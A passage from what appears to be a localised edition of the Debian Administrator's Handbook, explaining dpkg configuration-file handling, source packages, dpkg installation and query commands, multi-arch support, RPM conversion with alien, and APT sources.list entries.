file describing the interactions); it has different frontends to display the questions to the user (text mode, graphical mode, non-interactive); and it allows creation of a central database of responses to share the same configuration with several computers... but the most important is that it is now possible to present all of the questions in a row to the user, prior to starting a long installation or update process. The user can go about their business while the system handles the installation on its own, without having to stay there staring at the screen waiting for questions.
In addition to the maintainer scripts and control data already mentioned in the previous sections, the control.tar.gz
archive of a Debian package may contain other interesting files. The first, md5sums
, contains the MD5 checksums for all of the package's files. Its main advantage is that it allows dpkg --verify (which we will study in Secțiune 14.3.3.1, „Auditing Packages with dpkg --verify”) to check if these files have been modified since their installation. Note that when this file doesn't exist, dpkg will generate it dynamically at installation time (and store it in the dpkg database just like other control files).
conffiles
lists package files that must be handled as configuration files. Configuration files can be modified by the administrator, and dpkg will try to preserve those changes during a package update.
In effect, in this situation, dpkg behaves as intelligently as possible: if the standard configuration file has not changed between the two versions, it does nothing. If, however, the file has changed, it will try to update this file. Two cases are possible: either the administrator has not touched this configuration file, in which case dpkg automatically installs the new version; or the file has been modified, in which case dpkg asks the administrator which version they wish to use (the old one with modifications, or the new one provided with the package). To assist in making this decision, dpkg offers to display a “diff” that shows the difference between the two versions. If the user chooses to retain the old version, the new one will be stored in the same location in a file with the .dpkg-dist
suffix. If the user chooses the new version, the old one is retained in a file with the .dpkg-old
suffix. Another available action consists of momentarily interrupting dpkg to edit the file and attempt to re-instate the relevant modifications (previously identified with diff).
GOING FURTHER Avoiding the configuration file questions
dpkg handles configuration file updates, but, while doing so, regularly interrupts its work to ask for input from the administrator. This makes it less than enjoyable for those who wish to run updates in a non-interactive manner. This is why this program offers options that allow the system to respond automatically according to the same logic: --force-confold retains the old version of the file; --force-confnew will use the new version of the file (these choices are respected, even if the file has not been changed by the administrator, which only rarely has the desired effect). Adding the --force-confdef option tells dpkg to decide by itself when possible (in other words, when the original configuration file has not been touched), and only uses --force-confnew or --force-confold for other cases.
These options apply to dpkg, but most of the time the administrator will work directly with the aptitude or apt-get programs. It is, thus, necessary to know the syntax used to indicate the options to pass to the dpkg command (their command line interfaces are very similar).
#
apt -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" full-upgrade
These options can be stored directly in apt's configuration. To do so, simply write the following line in the
/etc/apt/apt.conf.d/local
file:
DPkg::options { "--force-confdef"; "--force-confold"; }Including this option in the configuration file means that it will also be used in a graphical interface such as aptitude.
GOING FURTHER Force dpkg to ask configuration file questions
The --force-confask option requires dpkg to display the questions about the configuration files, even in cases where they would not normally be necessary. Thus, when reinstalling a package with this option, dpkg will ask the questions again for all of the configuration files modified by the administrator. This is very convenient, especially for reinstalling the original configuration file if it has been deleted and no other copy is available: a normal re-installation won't work, because dpkg considers removal as a form of legitimate modification, and, thus, doesn't install the desired configuration file.
A source package is usually comprised of three files, a .dsc
, a .orig.tar.gz
, and a .debian.tar.gz
(or .diff.gz
). They allow creation of binary packages (.deb
files described above) from the source code files of the program, which are written in a programming language.
The .dsc
(Debian Source Control) file is a short text file containing an RFC 2822 header (just like the control
file studied in Secțiune 5.2.1, „Description: the control
File”) which describes the source package and indicates which other files are part thereof. It is signed by its maintainer, which guarantees authenticity. See Secțiune 6.5, „Checking Package Authenticity” for further details on this subject.
Exemplu 5.1. A .dsc
file
Note that the source package also has dependencies (Build-Depends
) completely distinct from those of binary packages, since they indicate tools required to compile the software in question and construct its binary package.
CAUTION Distinct namespaces
It is important to note here that there is no required correspondence between the name of the source package and that of the binary package(s) that it generates. It is easy enough to understand if you know that each source package may generate several binary packages. This is why the
.dsc
file has theSource
andBinary
fields to explicitly name the source package and store the list of binary packages that it generates.
CULTURE Why divide into several packages
Quite frequently, a source package (for a given software) can generate several binary packages. The split is justified by the possibility to use (parts of) the software in different contexts. Consider a shared library, it may be installed to make an application work (for example, libc6), or it can be installed to develop a new program (libc6-dev will then be the correct package). We find the same logic for client/server services where we want to install the server part on one machine and the client part on others (this is the case, for example, of openssh-server and openssh-client).
Just as frequently, the documentation is provided in a dedicated package: the user may install it independently from the software, and may at any time choose to remove it to save disk space. Additionally, this also saves disk space on the Debian mirrors, since the documentation package will be shared amongst all of the architectures (instead of having the documentation duplicated in the packages for each architecture).
PERSPECTIVE Different source package formats
Originally there was only one source package format. This is the
1.0
format, which associates an.orig.tar.gz
archive to a.diff.gz
“debianization” patch (there is also a variant, consisting of a single.tar.gz
archive, which is automatically used if no.orig.tar.gz
is available).Since Debian Squeeze, Debian developers have the option to use new formats that correct many problems of the historical format. Format
3.0 (quilt)
can combine multiple upstream archives in the same source package: in addition to the usual.orig.tar.gz
, supplementary.orig-
archives can be included. This is useful with software that is distributed in several upstream components but for which a single source package is desired. These archives can also be compressed with bzip2 or xz rather than gzip, which saves disk space and network resources. Finally, the monolithic patch,component
.tar.gz.diff.gz
is replaced by a.debian.tar.gz
archive containing the compiling instructions and a set of upstream patches contributed by the package maintainer. These last are recorded in a format compatible with quilt — a tool that facilitates the management of a series of patches.
The .orig.tar.gz
file is an archive containing the source code as provided by the original developer. Debian package maintainers are asked to not modify this archive in order to be able to easily check the origin and integrity of the file (by simple comparison with a checksum) and to respect the wishes of some authors.
The .debian.tar.gz
contains all of the modifications made by the Debian maintainer, especially the addition of a debian
directory containing the instructions to execute to construct a Debian package.
TOOL Decompressing a source package
If you have a source package, you can use the dpkg-source command (from the dpkg-dev package) to decompress it:
$
dpkg-source -x package_0.7-1.dsc
You can also use apt-get to download a source package and unpack it right away. It requires that the appropriate
deb-src
lines be present in the/etc/apt/sources.list
file, however (for further details, see Secțiune 6.1, „Filling in thesources.list
File”). These are used to list the “sources” of source packages (meaning the servers on which a group of source packages are hosted).$
apt-get source
package
The source package is the foundation of everything in Debian. All Debian packages come from a source package, and each modification in a Debian package is the consequence of a modification made to the source package. The Debian maintainers work with the source package, knowing, however, the consequences of their actions on the binary packages. The fruits of their labors are thus found in the source packages available from Debian: you can easily go back to them and everything stems from them.
When a new version of a package (source package and one or more binary packages) arrives on the Debian server, the source package is the most important. Indeed, it will then be used by a network of machines of different architectures for compilation on the various architectures supported by Debian. The fact that the developer also sends one or more binary packages for a given architecture (usually i386 or amd64) is relatively unimportant, since these could just as well have been automatically generated.
dpkg is the base command for handling Debian packages on the system. If you have .deb
packages, it is dpkg that allows installation or analysis of their contents. But this program only has a partial view of the Debian universe: it knows what is installed on the system, and whatever it is given on the command line, but knows nothing of the other available packages. As such, it will fail if a dependency is not met. Tools such as apt, on the contrary, will create a list of dependencies to install everything as automatically as possible.
NOTE dpkg or apt?
dpkg should be seen as a system tool (backend), and apt as a tool closer to the user, which overcomes the limitations of the former. These tools work together, each one with its particularities, suited to specific tasks.
dpkg is, above all, the tool for installing an already available Debian package (because it does not download anything). To do this, we use its -i
or --install
option.
Exemplu 5.2. Installation of a package with dpkg
#
dpkg -i man-db_2.7.0.2-5_amd64.deb
(Reading database ... 86425 files and directories currently installed.)
Preparing to unpack man-db_2.7.0.2-5_amd64.deb ...
Unpacking man-db (2.7.0.2-5) over (2.7.0.2-4) ...
Setting up man-db (2.7.0.2-5) ...
Updating database of manual pages ...
Processing triggers for mime-support (3.58) ...
We can see the different steps performed by dpkg; we know, thus, at what point any error may have occurred. The installation can also be effected in two stages: first unpacking, then configuration. apt-get takes advantage of this, limiting the number of calls to dpkg (since each call is costly, due to loading of the database in memory, especially the list of already installed files).
Exemplu 5.3. Separate unpacking and configuration
#
dpkg --unpack man-db_2.7.0.2-5_amd64.deb
(Reading database ... 86425 files and directories currently installed.)
Preparing to unpack man-db_2.7.0.2-5_amd64.deb ...
Unpacking man-db (2.7.0.2-5) over (2.7.0.2-5) ...
Processing triggers for mime-support (3.58) ...
#
dpkg --configure man-db
Setting up man-db (2.7.0.2-5) ...
Updating database of manual pages ...
Sometimes dpkg will fail to install a package and return an error; if the user orders it to ignore this, it will only issue a warning; it is for this reason that we have the different --force-*
options. The dpkg --force-help command, or documentation of this command, will give a complete list of these options. The most frequent error, which you are bound to encounter sooner or later, is a file collision. When a package contains a file that is already installed by another package, dpkg will refuse to install it. The following messages will then appear:
Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ...
dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack):
trying to overwrite '/usr/bin/gdmflexiserver', which is also in package gdm3 3.4.1-9
In this case, if you think that replacing this file is not a significant risk to the stability of your system (which is usually the case), you can use the option --force-overwrite
, which tells dpkg to ignore this error and overwrite the file.
While there are many available --force-*
options, only --force-overwrite
is likely to be used regularly. These options only exist for exceptional situations, and it is better to leave them alone as much as possible in order to respect the rules imposed by the packaging mechanism. Do not forget, these rules ensure the consistency and stability of your system.
CAUTION Effective use of
--force-*
If you are not careful, the use of an option
--force-*
can lead to a system where the APT family of commands will refuse to function. In effect, some of these options allow installation of a package when a dependency is not met, or when there is a conflict. The result is an inconsistent system from the point of view of dependencies, and the APT commands will refuse to execute any action except those that will bring the system back to a consistent state (this often consists of installing the missing dependency or removing a problematic package). This often results in a message like this one, obtained after installing a new version of rdesktop while ignoring its dependency on a newer version of the libc6:#
apt full-upgrade
[...]
You might want to run 'apt-get -f install' to correct these.
The following packages have unmet dependencies:
rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed
E: Unmet dependencies. Try using -f.A courageous administrator who is certain of the correctness of their analysis may choose to ignore a dependency or conflict and use the corresponding
--force-*
option. In this case, if they want to be able to continue to use apt or aptitude, they must edit/var/lib/dpkg/status
to delete/modify the dependency, or conflict, that they chose to override.This manipulation is an ugly hack, and should never be used, except in the most extreme case of necessity. Quite frequently, a more fitting solution is to recompile the package that's causing the problem (see Secțiune 15.1, „Rebuilding a Package from its Sources”) or use a new version (potentially corrected) from a repository such as the
stable-backports
one (see Secțiune 6.1.2.4, „Stable Backports”).
Invoking dpkg with the -r
or --remove
option, followed by the name of a package, removes that package. This removal is, however, not complete: all of the configuration files, maintainer scripts, log files (system logs) and other user data handled by the package remain. That way disabling the program is easily done by uninstalling it, and it's still possible to quickly reinstall it with the same configuration. To completely remove everything associated with a package, use the -P
or --purge
option, followed by the package name.
Exemplu 5.4. Removal and purge of the debian-cd package
#
dpkg -r debian-cd
(Reading database ... 97747 files and directories currently installed.)
Removing debian-cd (3.1.17) ...
#
dpkg -P debian-cd
(Reading database ... 97401 files and directories currently installed.)
Removing debian-cd (3.1.17) ...
Purging configuration files for debian-cd (3.1.17) ...
BACK TO BASICS Option syntax
Most options are available in a “long” version (one or more relevant words, preceded by a double dash) and a “short” version (a single letter, often the initial of one word from the long version, and preceded by a single dash). This convention is so common that it is a POSIX standard.
Before concluding this section, we will study dpkg options that query the internal database in order to obtain information. Giving first the long options and then corresponding short options (that will evidently take the same possible arguments) we cite --listfiles
(or package
-L
), which lists the files installed by this package; --search
(or file
-S
), which finds the package(s) containing the file; --status
(or package
-s
), which displays the headers of an installed package; --list
(or -l
), which displays the list of packages known to the system and their installation status; --contents
(or file.deb
-c
), which lists the files in the Debian package specified; --info
(or file.deb
-I
), which displays the headers of this Debian package.
Exemplu 5.5. Various queries with dpkg
$
dpkg -L base-passwd
/.
/usr
/usr/sbin
/usr/sbin/update-passwd
/usr/share
/usr/share/lintian
/usr/share/lintian/overrides
/usr/share/lintian/overrides/base-passwd
/usr/share/doc-base
/usr/share/doc-base/users-and-groups
/usr/share/base-passwd
/usr/share/base-passwd/group.master
/usr/share/base-passwd/passwd.master
/usr/share/man
/usr/share/man/pl
/usr/share/man/pl/man8
/usr/share/man/pl/man8/update-passwd.8.gz
/usr/share/man/ru
/usr/share/man/ru/man8
/usr/share/man/ru/man8/update-passwd.8.gz
/usr/share/man/ja
/usr/share/man/ja/man8
/usr/share/man/ja/man8/update-passwd.8.gz
/usr/share/man/fr
/usr/share/man/fr/man8
/usr/share/man/fr/man8/update-passwd.8.gz
/usr/share/man/es
/usr/share/man/es/man8
/usr/share/man/es/man8/update-passwd.8.gz
/usr/share/man/de
/usr/share/man/de/man8
/usr/share/man/de/man8/update-passwd.8.gz
/usr/share/man/man8
/usr/share/man/man8/update-passwd.8.gz
/usr/share/doc
/usr/share/doc/base-passwd
/usr/share/doc/base-passwd/users-and-groups.txt.gz
/usr/share/doc/base-passwd/changelog.gz
/usr/share/doc/base-passwd/copyright
/usr/share/doc/base-passwd/README
/usr/share/doc/base-passwd/users-and-groups.html
$
dpkg -S /bin/date
coreutils: /bin/date
$
dpkg -s coreutils
Package: coreutils
Essential: yes
Status: install ok installed
Priority: required
Section: utils
Installed-Size: 13855
Maintainer: Michael Stone <mstone@debian.org>
Architecture: amd64
Multi-Arch: foreign
Version: 8.23-3
Replaces: mktemp, realpath, timeout
Pre-Depends: libacl1 (>= 2.2.51-8), libattr1 (>= 1:2.4.46-8), libc6 (>= 2.17), libselinux1 (>= 2.1.13)
Conflicts: timeout
Description: GNU core utilities
This package contains the basic file, shell and text manipulation
utilities which are expected to exist on every operating system.
.
Specifically, this package includes:
arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp
csplit cut date dd df dir dircolors dirname du echo env expand expr
factor false flock fmt fold groups head hostid id install join link ln
logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt
od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm
rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac
tail tee test timeout touch tr true truncate tsort tty uname unexpand
uniq unlink users vdir wc who whoami yes
Homepage: http://gnu.org/software/coreutils
$
dpkg -l 'b*'
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-=======================-================-================-====================================================
un backupninja <none> <none> (no description available)
ii backuppc 3.3.0-2 amd64 high-performance, enterprise-grade system for backin
un base <none> <none> (no description available)
un base-config <none> <none> (no description available)
ii base-files 8 amd64 Debian base system miscellaneous files
ii base-passwd 3.5.37 amd64 Debian base system master password and group files
[...]
$
dpkg -c /var/cache/apt/archives/gnupg_1.4.18-6_amd64.deb
drwxr-xr-x root/root 0 2014-12-04 23:03 ./
drwxr-xr-x root/root 0 2014-12-04 23:03 ./lib/
drwxr-xr-x root/root 0 2014-12-04 23:03 ./lib/udev/
drwxr-xr-x root/root 0 2014-12-04 23:03 ./lib/udev/rules.d/
-rw-r--r-- root/root 2711 2014-12-04 23:03 ./lib/udev/rules.d/60-gnupg.rules
drwxr-xr-x root/root 0 2014-12-04 23:03 ./usr/
drwxr-xr-x root/root 0 2014-12-04 23:03 ./usr/lib/
drwxr-xr-x root/root 0 2014-12-04 23:03 ./usr/lib/gnupg/
-rwxr-xr-x root/root 39328 2014-12-04 23:03 ./usr/lib/gnupg/gpgkeys_ldap
-rwxr-xr-x root/root 92872 2014-12-04 23:03 ./usr/lib/gnupg/gpgkeys_hkp
-rwxr-xr-x root/root 47576 2014-12-04 23:03 ./usr/lib/gnupg/gpgkeys_finger
-rwxr-xr-x root/root 84648 2014-12-04 23:03 ./usr/lib/gnupg/gpgkeys_curl
-rwxr-xr-x root/root 3499 2014-12-04 23:03 ./usr/lib/gnupg/gpgkeys_mailto
drwxr-xr-x root/root 0 2014-12-04 23:03 ./usr/bin/
-rwxr-xr-x root/root 60128 2014-12-04 23:03 ./usr/bin/gpgsplit
-rwxr-xr-x root/root 1012688 2014-12-04 23:03 ./usr/bin/gpg
[...]
$
dpkg -I /var/cache/apt/archives/gnupg_1.4.18-6_amd64.deb
new debian package, version 2.0.
size 1148362 bytes: control archive=3422 bytes.
1264 bytes, 26 lines control
4521 bytes, 65 lines md5sums
479 bytes, 13 lines * postinst #!/bin/sh
473 bytes, 13 lines * preinst #!/bin/sh
Package: gnupg
Version: 1.4.18-6
Architecture: amd64
Maintainer: Debian GnuPG-Maintainers <pkg-gnupg-maint@lists.alioth.debian.org>
Installed-Size: 4888
Depends: gpgv, libbz2-1.0, libc6 (>= 2.15), libreadline6 (>= 6.0), libusb-0.1-4 (>= 2:0.1.12), zlib1g (>= 1:1.1.4)
Recommends: gnupg-curl, libldap-2.4-2 (>= 2.4.7)
Suggests: gnupg-doc, libpcsclite1, parcimonie, xloadimage | imagemagick | eog
Section: utils
Priority: important
Multi-Arch: foreign
Homepage: http://www.gnupg.org
Description: GNU privacy guard - a free PGP replacement
GnuPG is GNU's tool for secure communication and data storage.
It can be used to encrypt data and to create digital signatures.
It includes an advanced key management facility and is compliant
with the proposed OpenPGP Internet standard as described in RFC 4880.
[...]
GOING FURTHER Comparison of versions
Since dpkg is the program for handling Debian packages, it also provides the reference implementation of the logic of comparing version numbers. This is why it has a
--compare-versions
option, usable by external programs (especially configuration scripts executed by dpkg itself). This option requires three parameters: a version number, a comparison operator, and a second version number. The different possible operators arelt
(strictly less than),le
(less than or equal to),eq
(equal),ne
(not equal),ge
(greater than or equal to), andgt
(strictly greater than). If the comparison is correct, dpkg returns 0 (success); if not, it gives a non-zero return value (indicating failure).$
dpkg --compare-versions 1.2-3 gt 1.1-4
$
echo $?
0
$dpkg --compare-versions 1.2-3 lt 1.1-4
$
echo $?
1
$dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1
$
echo $?
1
Note the unexpected failure of the last comparison: for dpkg,
pre
, usually denoting a pre-release, has no particular meaning, and this program compares the alphabetic characters in the same way as the numbers (a < b < c ...), in alphabetical order. This is why it considers “0pre3
” to be greater than “0
”. When we want a package's version number to indicate that it is a pre-release, we use the tilde character, “~
”:$
dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1
$
echo $?
0
dpkg keeps a log of all of its actions in /var/log/dpkg.log
. This log is extremely verbose, since it details every one of the stages through which packages handled by dpkg go. In addition to offering a way to track dpkg's behavior, it helps, above all, to keep a history of the development of the system: one can find the exact moment when each package has been installed or updated, and this information can be extremely useful in understanding a recent change in behavior. Additionally, all versions being recorded, it is easy to cross-check the information with the changelog.Debian.gz
for packages in question, or even with online bug reports.
All Debian packages have an Architecture
field in their control information. This field can contain either “all
” (for packages that are architecture independent) or the name of the architecture that it targets (like “amd64”, “armhf”, …). In the latter case, by default, dpkg will only accept to install the package if its architecture matches the host's architecture as returned by dpkg --print-architecture.
This restriction ensures that users do not end up with binaries compiled for an incorrect architecture. Everything would be perfect except that (some) computers can run binaries for multiple architectures, either natively (an “amd64“ system can run “i386” binaries) or through emulators.
dpkg's multi-arch support allows users to define “foreign architectures” that can be installed on the current system. This is simply done with dpkg --add-architecture like in the example below. There is a corresponding dpkg --remove-architecture to drop support of a foreign architecture, but it can only be used when no packages of this architecture remain.
#
dpkg --print-architecture
amd64
#
dpkg --print-foreign-architectures
#
dpkg -i gcc-4.9-base_4.9.1-19_armhf.deb
dpkg: error processing archive gcc-4.9-base_4.9.1-19_armhf.deb (--install):
package architecture (armhf) does not match system (amd64)
Errors were encountered while processing:
gcc-4.9-base_4.9.1-19_armhf.deb
#
dpkg --add-architecture armhf
#
dpkg --add-architecture armel
#
dpkg --print-foreign-architectures
armhf
armel
#
dpkg -i gcc-4.9-base_4.9.1-19_armhf.deb
Selecting previously unselected package gcc-4.9-base:armhf.
(Reading database ... 86425 files and directories currently installed.)
Preparing to unpack gcc-4.9-base_4.9.1-19_armhf.deb ...
Unpacking gcc-4.9-base:armhf (4.9.1-19) ...
Setting up gcc-4.9-base:armhf (4.9.1-19) ...
#
dpkg --remove-architecture armhf
dpkg: error: cannot remove architecture 'armhf' currently in use by the database
#
dpkg --remove-architecture armel
#
dpkg --print-foreign-architectures
armhf
NOTE APT's multi-arch support
APT will automatically detect when dpkg has been configured to support foreign architectures and will start downloading the corresponding
Packages
files durings its update process.Foreign packages can then be installed with apt install
package
:architecture
.
IN PRACTICE Using proprietary i386 binaries on amd64
There are multiple use cases for multi-arch, but the most popular one is the possibility to execute 32 bit binaries (i386) on 64 bit systems (amd64), in particular since several popular proprietary applications (like Skype) are only provided in 32 bit versions.
To make multi-arch actually useful and usable, libraries had to be repackaged and moved to an architecture-specific directory so that multiple copies (targeting different architectures) can be installed alongside. Such updated packages contain the “Multi-Arch: same
” header field to tell the packaging system that the various architectures of the package can be safely co-installed (and that those packages can only satisfy dependencies of packages of the same architecture). Since multi-arch made its debut in Debian Wheezy, not all libraries have been converted yet.
$
dpkg -s gcc-4.9-base
dpkg-query: error: --status needs a valid package name but 'gcc-4.9-base' is not: ambiguous package name 'gcc-4.9-base' with more than one installed instance
Use --help for help about querying packages.
$
dpkg -s gcc-4.9-base:amd64 gcc-4.9-base:armhf | grep ^Multi
Multi-Arch: same
Multi-Arch: same
$
dpkg -L libgcc1:amd64 |grep .so
/lib/x86_64-linux-gnu/libgcc_s.so.1
$
dpkg -S /usr/share/doc/gcc-4.9-base/copyright
gcc-4.9-base:amd64, gcc-4.9-base:armhf: /usr/share/doc/gcc-4.9-base/copyright
It is worth noting that Multi-Arch: same
packages must have their names qualified with their architecture to be unambiguously identifiable. They also have the possibility to share files with other instances of the same package; dpkg ensures that all packages have bit-for-bit identical files when they are shared. Last but not least, all instances of a package must have the same version. They must thus be upgraded together.
Multi-Arch support also brings some interesting challenges in the way dependencies are handled. Satisfying a dependency requires either a package marked “Multi-Arch: foreign
” or a package whose architecture matches the one of the package declaring the dependency (in this dependency resolution process, architecture-independent packages are assumed to be of the same architecture than the host). A dependency can also be weakened to allow any architecture to fulfill it, with the
syntax, but foreign packages can only satisfy such a dependency if they are marked “package
:anyMulti-Arch: allowed
”.
Debian packages are not the only software packages used in the free software world. The main competitor is the RPM format of the Red Hat Linux distribution and its many derivatives. Red Hat is a very popular, commercial distribution. It is thus common for software provided by third parties to be offered as RPM packages rather than Debian.
In this case, you should know that the program rpm, which handles RPM packages, is available as a Debian package, so it is possible to use this package format on Debian. Care should be taken, however, to limit these manipulations to extract the information from a package or to verify its integrity. It is, in truth, unreasonable to use rpm to install an RPM on a Debian system; RPM uses its own database, separate from those of native software (such as dpkg). This is why it is not possible to ensure a stable coexistence of two packaging systems.
On the other hand, the alien utility can convert RPM packages into Debian packages, and vice versa.
COMMUNITY Encouraging the adoption of
.deb
If you regularly use the alien program to install RPM packages coming from one of your providers, do not hesitate to write to them and amicably express your strong preference for the
.deb
format. Note that the format of the package is not everything: a.deb
package built with alien or prepared for a version of Debian different than that which you use, or even for a derivative distribution like Ubuntu, would probably not offer the same level of quality and integration as a package specifically developed for Debian Jessie.
$
fakeroot alien --to-deb phpMyAdmin-2.0.5-2.noarch.rpm
phpmyadmin_2.0.5-2_all.deb generated
$
ls -s phpmyadmin_2.0.5-2_all.deb
64 phpmyadmin_2.0.5-2_all.deb
You will find that this process is extremely simple. You must know, however, that the package generated does not have any dependency information, since the dependencies in the two packaging formats don't have systematic correspondence. The administrator must thus manually ensure that the converted package will function correctly, and this is why Debian packages thus generated should be avoided as much as possible. Fortunately, Debian has the largest collection of software packages of all distributions, and it is likely that whatever you seek is already in there.
Looking at the man page for the alien command, you will also note that this program handles other packaging formats, especially the one used by the Slackware distribution (it is made of a simple tar.gz
archive).
The stability of the software deployed using the dpkg tool contributes to Debian's fame. The APT suite of tools, described in the following chapter, preserves this advantage, while relieving the administrator from managing the status of packages, a necessary but difficult task.
What makes Debian so popular with administrators is how easily software can be installed and how easily the whole system can be updated. This unique advantage is largely due to the APT program, that Falcot Corp administrators studied with enthusiasm.
APT is the abbreviation for Advanced Package Tool. What makes this program “advanced” is its approach to packages. It doesn't simply evaluate them individually, but it considers them as a whole and produces the best possible combination of packages depending on what is available and compatible (according to dependencies).
VOCABULARY Package source and source package
The word source can be ambiguous. A source package — a package containing the source code of a program — should not be confused with a package source — a repository (website, FTP server, CD-ROM, local directory, etc.) which contains packages.
APT needs to be given a “list of package sources”: the file /etc/apt/sources.list
will list the different repositories (or “sources”) that publish Debian packages. APT will then import the list of packages published by each of these sources. This operation is achieved by downloading Packages.xz
or a variant using a different compression method (such as Packages.gz
or .bz2
) files (in case of a source of binary packages) and Sources.xz
or a variant (in case of a source of source packages) and by analyzing their contents. When an old copy of these files is already present, APT can update it by only downloading the differences (see sidebar TIP Incremental upgrade).
BACK TO BASICS gzip, bzip2, LZMA and XZ Compression
A
.gz
extension refers to a file compressed with the gzip utility. gzip is the fast and efficient traditional Unix utility to compress files. Newer tools achieve better rates of compression but require more resources (computation time and memory) to compress and uncompress a file. Among them, and by order of appearance, there are bzip2 (generating files with a.bz2
extension), lzma (generating.lzma
files) and xz (generating.xz
files).
Each active line of the /etc/apt/sources.list
file contains the description of a source, made of 3 parts separated by spaces.
The first field indicates the source type:
deb
” for binary packages, deb-src
” for source packages. The second field gives the base URL of the source (combined with the filenames present in the Packages.gz
files, it must give a full and valid URL): this can consist in a Debian mirror or in any other package archive set up by a third party. The URL can start with file://
to indicate a local source installed in the system's file hierarchy, with http://
to indicate a source accessible from a web server, or with ftp://
for a source available on an FTP server. The URL can also start with cdrom:
for CD-ROM/DVD-ROM/Blu-ray disc based installations, although this is less frequent, since network-based installation methods are more and more common.
The syntax of the last field depends on the structure of the repository. In the simplest cases, you can simply indicate a subdirectory (with a required trailing slash) of the desired source (this is often a simple “./
” which refers to the absence of a subdirectory — the packages are then directly at the specified URL). But in the most common case, the repositories will be structured like a Debian mirror, with multiple distributions each having multiple components. In those cases, name the chosen distribution (by its “codename” — see the list in sidebar COMMUNITY Bruce Perens, a controversial leader — or by the corresponding “suites” — stable
, testing
, unstable
), then the components (or sections) to enable (chosen between main
, contrib
, and non-free
in a typical Debian mirror).
VOCABULARY The
main
,contrib
andnon-free
archivesDebian uses three sections to differentiate packages according to the licenses chosen by the authors of each work.
Main
gathers all packages which fully comply with the Debian Free Software Guidelines.The
non-free
archive is different because it contains software which does not (entirely) conform to these principles but which can nevertheless be distributed without restrictions. This archive, which is not officially part of Debian, is a service for users who could need some of those programs — however Debian always recommends giving priority to free software. The existence of this section represents a considerable problem for Richard M. Stallman and keeps the Free Software Foundation from recommending Debian to users.
Contrib
(contributions) is a set of open source software which cannot function without some non-free elements. These elements can be software from thenon-free
section, or non-free files such as game ROMs, BIOS of consoles, etc.Contrib
also includes free software whose compilation requires proprietary elements. This was initially the case for the OpenOffice.org office suite, which used to require a proprietary Java environment.
TIP
/etc/apt/sources.list.d/*.list
filesIf many package sources are referenced, it can be useful to split them in multiple files. Each part is then stored in
/etc/apt/sources.list.d/
(see sidebar BACK TO BASICS Directories ending infilename
.list.d
).
The cdrom
entries describe the CD/DVD-ROMs you have. Contrary to other entries, a CD-ROM is not always available since it has to be inserted into the drive and since only one disc can be read at a time. For those reasons, these sources are managed in a slightly different way, and need to be added with the apt-cdrom program, usually executed with the add
parameter. The latter will then request the disc to be inserted in the drive and will browse its contents looking for Packages
files. It will use these files to update its database of available packages (this operation is usually done by the apt update command). From then on, APT can require the disc to be inserted if it needs one of its packages.
Here is a standard sources.list
for a system running the Stable version of Debian:
Exemplu 6.1. /etc/apt/sources.list
file for users of Debian Stable
This file lists all sources of packages associated with the Jessie version of Debian (the current Stable as of this writing). We opted to name “jessie” explicitly instead of using the corresponding “stable“ alias (stable
, stable-updates
, stable-backports
) because we don't want to have the underlying distribution changed outside of our control when the next stable release comes out.
Most packages will come from the “base repository” which contains all packages but is seldom updated (about once every 2 months for a “point release”). The other repositories are partial (they do not contain all packages) and can host updates (packages with newer version) that APT might install. The following sections will explain the purpose and the rules governing each of those repositories.
Note that when the desired version of a package is available on several repositories, the first one listed in the sources.list
file will be used. For this reason, non-official sources are usually added at the end of the file.
As a side note, most of what this section says about Stable applies equally well to Oldstable since the latter is just an older Stable that is maintained in parallel.
The security updates are not hosted on the usual network of Debian mirrors but on security.debian.org
(on a small set of machines maintained by the Debian System Administrators). This archive contains security updates (prepared by the Debian Security Team and/or by package maintainers) for the Stable distribution.
The server can also host security updates for Testing but this doesn't happen very often since those updates tend to reach Testing via the regular flow of updates coming from Unstable.
Stable updates are not security sensitive but are deemed important enough to be pushed to users before the next stable point release.
This repository will typically contain fixes for critical bugs which could not be fixed before release or which have been introduced by subsequent updates. Depending on the urgency, it can also contain updates for packages that have to evolve over time… like spamassassin's spam detection rules, clamav's virus database, or the daylight-saving time rules of all timezones (tzdata).
In practice, this repository is a subset of the proposed-updates
repository, carefully selected by the Stable Release Managers.
Once published, the Stable distribution is only updated about once every 2 months. The proposed-updates
repository is where the expected updates are prepared (under the supervision of the Stable Release Managers).
The security and stable updates documented in the former sections are always included in this repository, but there is more too, because package maintainers also have the opportunity to fix important bugs that do not deserve an immediate release.
Anyone can use this repository to test those updates before their official publication. The extract below uses the jessie-proposed-updates
alias which is both more explicit and more consistent since wheezy-proposed-updates
also exists (for the Oldstable updates):
The stable-backports
repository hosts “package backports”. The term refers to a package of some recent software which has been recompiled for an older distribution, generally for Stable.
When the distribution becomes a little dated, numerous software projects have released new versions that are not integrated into the current Stable (which is only modified to address the most critical problems, such as security problems). Since the Testing and Unstable distributions can be more risky, package maintainers sometimes offer recompilations of recent software applications for Stable, which has the advantage to limit potential instability to a small number of chosen packages.
The stable-backports
repository is now available on the usual Debian mirrors. But backports for Squeeze are still hosted on a dedicated server (backports.debian.org
), and requires the following sources.list
entry:
Backports from stable-backports
are always created from packages available in Testing. This ensures that all installed backports will be upgradable to the corresponding stable version once the next stable release of Debian is available.
Even though this repository provides newer versions of packages, APT will not install them unless you give explicit instructions to do so (or unless you have already done so with a former version of the given backport):
$
sudo apt-get install package
/jessie-backports
$
sudo apt-get install -t jessie-backports package
Here is a standard sources.list
for a system running the Testing or Unstable version of Debian:
Exemplu 6.2. /etc/apt/sources.list
file for users of Debian Testing/Unstable
With this sources.list
file APT will install packages from Unstable. If that is not desired, use the APT::Default-Release
setting (see Secțiune 6.2.3, „System Upgrade”) to instruct APT to pick packages from another distribution (most likely Testing in this case).
